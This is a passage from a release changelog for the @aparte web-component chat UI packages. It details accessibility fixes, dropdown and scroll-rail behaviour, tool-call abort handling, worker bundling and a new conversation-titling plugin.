<aparte-select>no longer removes theopenattribute you wrote, and opens the moment you removedisabled.openis the consumer’s attribute, and a one-way binding writes it once: taking it back left the template saying open and the element saying closed, with no write left to reconcile them —<aparte-select [disabled]="true" [open]="true">in Angular went to the element and came straight back out. The select still refuses to open while disabled; the attribute simply stands, and thedisabledbranch honours it on the way out, symmetrically to the close it already does on the way in.@aparte/core -
ce72d8e: Setting
openon<aparte-select>— the attribute or the property, after mount or in the initial markup — now runs the same path as a click:aria-expandedfollows in both directions, the keyboard highlight is seeded on open and cleared on close, andaparte-select-open/aparte-select-closefire once per transition. A disabled select still refuses to open, and drops theopenattribute rather than leaving it claiming otherwise.The attribute had a branch of its own that unhid the panel and stopped there, so the documented way to control the dropdown produced a state a click never produces: a visible list announced as collapsed, with the arrow keys starting from nowhere. The branch now delegates, guarded against the re-entry the two methods’ own reflecting writes cause.
@aparte/core -
ce72d8e: Re-parenting an open
<aparte-select>no longer fires a secondaparte-select-openor resets the keyboard highlight: a portal, a Vue teleport or any framework move keeps the dropdown exactly where it was.connectedCallbackruns on every re-connect, and routing the mount-timeopenattribute through the open path made a move look like a transition — the event fired again and the highlight was re-seeded on the selected option, losing where the arrow keys had got to. Mount now only opens when the element is not already open, and_openDropdown()returns early when it is, so every entry into it (attribute, property, click, re-connect) is idempotent.@aparte/core -
c9d863d: Renaming a conversation now keeps the focus on the row when you leave the field by Tab or by clicking away, not only on Enter.
Every exit re-renders the list, so the field the reader was typing in stops existing. Enter and Escape put the row’s title button back under the keyboard; the blur path passed a hard-coded
falseand left the focus on<body>, so the next Tab restarted at the top of the page. It now looks at where the focus is going: nowhere, or somewhere inside the list this render is about to destroy, and the row takes it back — a live control outside the list keeps it, since pulling it back from there would be theft.The restore also moved after the
aparte-rename-conversationevent rather than before it. A host that re-assignsconversationswhen it hears that event re-renders the list, which destroyed the button that had just been focused — so even Enter lost the row in the one integration that matters most.@aparte/core -
6e7386b:
<aparte-chat-status>now carries a screen-reader-only word inside its live region, so the default dots-only form is announced instead of being silent.The container is
role="status" aria-live="polite", and a live region announces its CONTENT. In the dots-only default that content was anaria-hiddendot and an empty span — the empty string — so the whole state rode onaria-label, which names the region rather than reporting it. A sighted reader saw the dots pulse; a screen-reader user was told nothing.One writer now keeps exactly one of the two text nodes populated: the visible
.aparte-status-textwhen thetextattribute is set (the label is already that same string, so a second copy would be read twice), and a new.aparte-status-srspan wearing the existing.aparte-sr-onlyrecipe when it is not. No new CSS, no new token, and the documented dots-only LOOK is unchanged — nothing visible was added.One edge aligns as a consequence: mounting with an empty
text=""used to print the literalTypingon screen, where settingtext=""after mount cleared it. Both paths now read an empty attribute as the dots-only default.@aparte/core -
6e7386b:
<aparte-chat-status>writes its fallback word into the live region whenvisiblearrives, and clears it whenvisibleleaves — so a screen reader hears the indicator on every turn, not just in theory.The word was there already; it was written at the wrong moment.
_render()putTypingin the screen-reader span while the host was stilldisplay: none(aparte-chat-status:not([visible])hides it, and all four wrappers mount the element once and flip the attribute). So the region was never MUTATED while it was exposed: it appeared with its text already in it — the reveal-from-hidden path assistive tech is documented not to announce reliably — and from the second turn on there was not even a reveal-time difference, the string being byte-identical to what was sitting there.Driving it from visibility makes each turn a real content change on a region that is already on screen, which is the path that announces. Nothing about the look moves: the dots-only line is still dots-only, and when
textis set the visible span carries it exactly as before, with the screen-reader span left empty so the line is read once.If you drive the element by hand rather than through a wrapper,
show()/hide()(or thevisibleattribute) is now what puts the word in the region — mounting it withoutvisibleleaves the region empty, as it should, since the element is not on screen.@aparte/core -
52a9a00: The tabs recipe’s examples now ship the roving
tabindex,aria-controlsandaria-labelledbythat theirrole="tablist"promises, and the segmented variant has a panel. Copying the banner markup no longer copies a defect.The examples are the live preview the kit page renders, and they showed a
role="tablist"of plain buttons: every tab a tab stop, none of them naming a panel — which announces more than plain buttons and does less. The banner now also says which part stays the app’s (the ArrowLeft/ArrowRight/Home/End handler) and points at a working one.@aparte/core -
97eb642: The image-preview button is now the thumbnail image rather than the tile: the ✕ is no longer a button nested inside a button, and the tile no longer announces its file name three times.
In the composer’s pending strip,
role="button"sat on the tile, and the tile wraps the remove<button>. No role permits a button inside a button, and the outer one takes its name from its contents — so a screen reader read the file name from thetitle, again from the hover overlay, and a third time inside “Remove report.png”, then offered two nested controls with no way to tell which an Enter would reach.The role, the tab stop and an explicit
aria-label(the file name, once) now sit on the<img>, which is what the preview opens; the ✕ sits beside it. Its focus ring is drawn inset, because the tile is the frame and clips: an outline drawn outward from an image that fills the tile would not be visible at all.The sent-message strip in the bubble is unchanged and keeps the role on its tile — it has no ✕, so nothing is nested and the tile is the whole control.
@aparte/core -
7389228: A Stop now ends the run immediately even when a tool handler ignores its abort signal — the turn no longer sits until
toolTimeoutMs(five minutes by default), and a handler that resolves after the Stop no longer appends a tool result.invokeToolHandleralready raced the per-call TIMEOUT, for a measured reason: aborting a controller is a request a handler is free to ignore, and the default shape of a consumer tool —async () => ({ content: await fetch(...).then(r => r.text()) })— never reads its signal. The parent abort was left out of that race. It only ranonParentAbort, which aborts the same child controller the deaf handler ignores, so a Stop pressed while a tool was in flight changed nothing the user could see: the loop stayed parked on the handler, the typing indicator stayed up, andrun-abortedarrived only once the timeout budget expired.The parent signal is now a third racer beside the timeout, on the same terms: the signal still fires first, so a handler that honours it keeps the chance to reject cleanly, and the racer only decides the case where it does not. The listener is removed in the
finallyalongside the existing one, so a long turn does not accumulate listeners on the run’s signal.@aparte/engine -
2cd2c50: The worker now ships as
dist/worker.jsand is constructed from a literalnew URL('./worker.js', import.meta.url), so a bundled app resolves@huggingface/transformersinside the worker instead of failing on every model load. No configuration changes on your side — no worker loader, no copy rule, no entry of your own._spawnWorkercarries a comment saying that literal “is not style”: it is the exact shape Vite’s worker detection and webpack’s WorkerPlugin match on, and matching it is what makes a consumer’s bundler process the worker as a MODULE rather than copy it as an opaque asset. The claim was true of the source and false of the published bytes. The build handed the emit to Vite’s own worker plugin, which rewrote the call tonew Worker(new URL(/* @vite-ignore */ "" + new URL("assets/worker-<hash>.js", import.meta.url).href, import.meta.url))— nothing static left for anyone to detect. The chunk was then copied verbatim, itsimport('@huggingface/transformers')stayed a bare specifier no browser can resolve, and it also pulled two sibling hashed runner chunks a consumer’s build never emitted.Two things had to become true: the worker must sit at a stable path a bundler can be pointed at, and it must contain no specifier a verbatim copy cannot resolve. It is a second lib entry now, so
dist/worker.jsanddist/runners/{shared,text-generation,image-text-to-text}.jsare real published files with names — relative between themselves, so they follow the worker to whatever origin serves it, and@huggingface/transformersis the one bare specifier left. The build removes Vite’sworker-import-meta-urlandasset-import-meta-urltransforms, which is what lets the literal survive into the artifact; dev and the test run keep them, since that is what resolves./worker.jstosrc/worker.tsthere.Both halves are now asserted against the built bytes rather than the source —
src/__tests__/published-shape.test.tsfor the literal and the file, and acheck:bundle-entriescontract that walks the worker’s chunks for stray specifiers. The defect existed only in the output, so only a test that reads the output could have seen it.The cross-origin
blob:path is unchanged: same behaviour, same CSP note, same error message.@aparte/provider-transformers -
a78320a:
summaryMaxTokensreserves room in the window budget; it never truncated the summary and no longer claims to.Its JSDoc read “Hard cap for summary tokens” and
summaryRatio’s read “Ratio of history budget allocated to the summary block”, so both described a bound on the text a summariser returns.splitHistoryBudgetuses them for one thing:summary = min(summaryMaxTokens, budget × summaryRatio), and that number is subtracted from the verbatim window. Nothing measures a summary against it and nothing clips one — a summariser that overruns simply costs the turn more than the split assumed, silently, which is the failure mode a reader trusting the word “cap” would never look for.Words only:
splitHistoryBudget, the defaults and the numbers are untouched. If you need a real bound, clip inside your ownsummarize.@aparte/plugin-compaction -
9a1f93c:
<AparteChat>and<AparteUi>accept callback props alongside their events:onmessageSent,onaction,onmessagesChange,onmessageAppended,ontypingChange,onconversationCreatedon the chat,onelementEventon the element host. Each is called with the payload itself (noCustomEventto unwrap), in addition to the event, so a Svelte 4 consumer changes nothing and a Svelte 5 consumer never writeson:on a component. The Svelte 5 example now runs in runes mode on those callbacks.Svelte 5 documents
createEventDispatcheras deprecated and recommends callback props; measured before this landed, the 5.56 compiler warns on neither the dispatcher noron:on a component (only onon:for a DOM element in runes mode), so this is the framework’s idiom arriving in the wrapper, not an emergency. The other three wrappers already speak theirs: React props, Vue emits, Angular outputs.@aparte/svelte
Version-only bumps (no changes of their own): @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.16.10
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
33b8cc0:
AparteConversationManager.setTitleProvider(fn)replaces how a new conversation is titled from its first user message.A conversation’s title was decided in one private place,
_autoTitle, and it was the message as typed. A consumer with a titler — a model in the browser, a request to a backend, a heuristic — had no way in short of racingupdateTitlebehind every send, and losing the race on the sidebar. The seam is on the manager, which owns that one place:setTitleProvider(provider)/getTitleProvider(), plus atitleProviderconstructor option. The provider receives the message’s text and the message, may be async, and is consulted once per conversation; an empty answer or a throw leaves the default, so a titler that fails never loses the message from the list.updateTitleis untouched.@aparte/plugin-titlerbinds an aparte-titler model to it.@aparte/core -
36af623:
<aparte-scroll-rail>works on a long conversation: it no longer rebuilds itself every frame, every turn stays reachable and the current tick stays visible, a click lands on its message and keeps its mark, and the rail sits clear of a classic scrollbar, centred on the transcript rather than the composer, and never taller than a share of it.Measured in Chromium, Firefox and WebKit on a 40-turn chat before the fix: the rail rebuilt itself 61 to 146 times a second at rest, with a new
IntersectionObservereach time, because its mutation observer watched the whole host subtree — the rail included — and every rebuild replaced every tick. Nothing on a tick survived a frame: focus, the arrow keys, a hover tooltip. Past sixteen ticks the rest was clipped, the current one included, so the mark was invisible on the long thread the rail exists for. A jump ended on the wrong mark two times in three, and landed up to 1,213px off the message on a long transcript, because the bubbles carrycontent-visibility: autoand a scroll aims at an estimated position.Now the rail drops its own mutations, reconciles its ticks by message id (the same nodes, so focus, hover and the tooltip survive an appended turn or a streaming reply) and re-observes only when the bubbles change. It is the height of its list, capped at 60% of the transcript (
--aparte-scroll-rail-share) and centred on it — a list of ticks, as LobeChat’s, not a full-height minimap. When more turns exist than 24px targets fit in that cap, it tightens the pitch to what fits — never under 6px — by setting--aparte-scroll-rail-hit-sizeand--aparte-scroll-rail-gapon itself; past that floor it scrolls, keeping the current tick in its window, and the arrows still walk every tick. A jump holds its mark until the transcript has settled, then re-aligns on the message when the scroll landed off it. Three measurements are published on the element for the stylesheet —--aparte-scroll-rail-bar(a classic scrollbar’s width),--aparte-scroll-rail-block-startand--aparte-scroll-rail-block-end(the transcript’s extent within the host) — and the reading band now starts at the top of the scroll surface so that a bubble a jump aligned there counts.In
overlay-composermode the viewport no longer counts the rail as part of the floating bottom stack when it measures--aparte-bottom-inset: the stylesheet already named the rail as not the stack, the measurement had not, and a rail centred on the transcript froze the inset at the distance from its own top while the composer grew under a draft.If you had styled the rail: it is a flex column now,
overflow-y: autowith no visible scrollbar, and itstopis the middle of the transcript’s measured span rather than of the host.@aparte/core -
3df9174: New package:
setupTitler(manager, { titler: loadTitler })titles each conversation from its first message with an aparte-titler model — 3 to 6 words, in the browser, no API call.The model is not a dependency of the plugin: hand it
@aparte/titler-latin’sloadTitler(17 languages, 133 KB), aTitler, a promise of one, or any object withtitle(message, budget?). The loader runs once, the first time a title is needed.createTitleProvider(options)is the provider alone, for a manager built with thetitleProvideroption; the teardown returned bysetupTitlerrestores the previous provider.@aparte/plugin-titler
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.16.11 Latest
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
6d3272e: The README carries the webcomponents.org badge; nothing changes in the code you import.
The listing at webcomponents.org/element/@aparte/core exists as of 2026-09-05 and the badge links to it from npm and GitHub. Only core is listed, by decision: the plugins stay off the catalogue for now.
@aparte/core -
21dd3bc: The four plugins that ship a custom element now carry the
web-componentsnpm keyword; nothing changes in the code you import.Each already pointed
customElementsat its manifest, which is what the webcomponents.org catalogue reads, but only core carried the keyword the catalogue and npm search filter on. The five plugins that expose no element (compaction, marked, shiki, streaming-markdown, titler) are untouched: they have nothing to list there.@aparte/plugin-approval,@aparte/plugin-artifacts,@aparte/plugin-ask-user,@aparte/plugin-model-selector
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/plugin-titler, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.